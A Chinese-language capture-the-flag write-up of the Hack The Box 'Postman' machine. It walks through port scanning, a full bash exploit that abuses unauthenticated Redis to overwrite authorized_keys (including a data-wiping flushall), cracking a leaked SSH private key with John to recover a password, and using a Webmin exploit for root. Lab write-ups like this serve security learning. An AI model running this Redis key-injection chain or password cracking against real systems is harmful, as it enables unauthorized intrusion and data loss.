• HTB::Postman


    实验环境

    Postman1

    渗透过程

    0x01 信息搜集

    masscan扫描

    Postman14

    扫描结果目标服务开放了22(ssh),80(http),6379(redis),10000(webmin)端口

    nmap扫描

    nmap -sS -sV -T4 -v -p- 10.10.10.160

    -sS: SYN扫描是目前默认的也是最受欢迎的扫描选项

    -A: 同时打开操作系统探测和版本探测。

    -T4: 指定扫描过程中使用的时序(Timing),共有6个级别(0-5),级别越高,扫描速度越快,但也越容易被防火墙屏蔽。在网络通信状态良好的情况下推荐使用 T4.

    -v: 显示冗余信息,在扫描过程中显示扫描的细节

    -p-: 表示从端口1扫描到65535

    Postman2

    访问10000端口

    Postman3

    尝试使用弱口令破解,发现提示尝试次数过多

    访问80端口,是一个常规web服务,扫描后没有发现敏感目录。

    Postman4

    使用nmap进行redis版本扫描

    Postman6

    百度后发现,redis有典型的未鉴权漏洞,描述如下:

    ​ Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

    Postman7

    0x02 Redis 未授权访问漏洞利用

    发现 6379 端口运行着 Redis 服务,且版本较低,存在未授权访问漏洞,可以将本地 ssh 公钥写进远程靶机从而 getshell

    exploit 如下:

    #!/bin/bash
    rm /root/.ssh/id*
    ssh-keygen -t rsa
    
    (echo -e "
    
    "; cat /root/.ssh/id_rsa.pub; echo -e "
    
    ") > foo.txt
    
    redis-cli -h 10.10.10.160 flushall
    cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit
    redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh/
    redis-cli -h 10.10.10.160 config set dbfilename "authorized_keys"
    redis-cli -h 10.10.10.160 save
    
    ssh -i /root/.ssh/id_rsa redis@10.10.10.160
    

    具体说明:

    1. 将本地 kali 的 ssh 公钥写进文本 foo 中,在其前后添加换行符 为了避免和Redis里其他缓存数据混合

    2. redis-cli -x 参数:代表从标准输入读取数据作为该命令的最后一个参数。

      例:$echo "world" |redis-cli -x set hello 等价于 redis-cli set hello world

    3. 该版本的 Redis 允许任意用户未授权访问并写文件,同时 Redis 在其默认目录下拥有 ssh 密钥并对其有写权限。这导致攻击者可以用自己的公钥覆盖原文件,实现远程登录。

    4. 这里设定了 crackit 的键值为公钥,并通过 redis 命令变更 Redis DB 文件及存放地点为用户的 .ssh 文件夹,并将 authorized_keys 覆盖

      这样就可以成功的将自己的公钥写入 /.ssh 文件夹的 authotrized_keys 文件里,然后攻击者就可以直接用 ssh 免密登录

    5. 因为靶机一直被所有人频繁修改和复写,一开始连接时需要使用 flushall 删除所有数据库中的所有key

    Postman9

    Postman10

    Postman11

    0x03 user.txt/root.txt

    Postman12

    Postman13

    拿到 redis 的低权限 shell 后,在 /home 目录下发现用户 Matt,su Mutt 尝试切换发现需要密码。在 .bash_history 文件中发现存在 id_rsa_bak,因此遍历各个关键目录查找线索,在 /var/opt 下发现 ida_rsa.bak 文件,应该是 Matt 的 ssh 私钥。

    下载私钥到本地,使用ssh2john转换为John可识别的文件

    kali@kali:~/Desktop$ /usr/share/john/ssh2john.py id_rsa > id_rsa.hash

    使用john破解

    Postman8

    得到密码为computer2008

    使用 密码切换到Matt用户,获取user.txt

    Postman18

    使用 Matt 和 computer2008 尝试登录webmin,登录成功,网站本身没有什么东西,再次注意到 Webmin 的版本,搜索是否存在相关 exploit。

    Postman15

    查找到相关exploit,直接利用:

    Postman16

    获得shell

    Postman17

    获取root.txt

  • 相关阅读:
    Razor里写函数
    Tuple
    javascript下将字符类型转换成布尔值
    如何成为一名快枪手
    easyUI datagrid 前端假分页
    操作JSON对象
    服务器端将复合json对象传回前端
    将JSON对象转换成IList,好用linq
    操作系统学习笔记三 进程
    如何遍历newtonsoft.json的JObject里的JSON数据
  • 原文地址:https://www.cnblogs.com/chalan630/p/12521216.html
Copyright © 2020-2023  润新知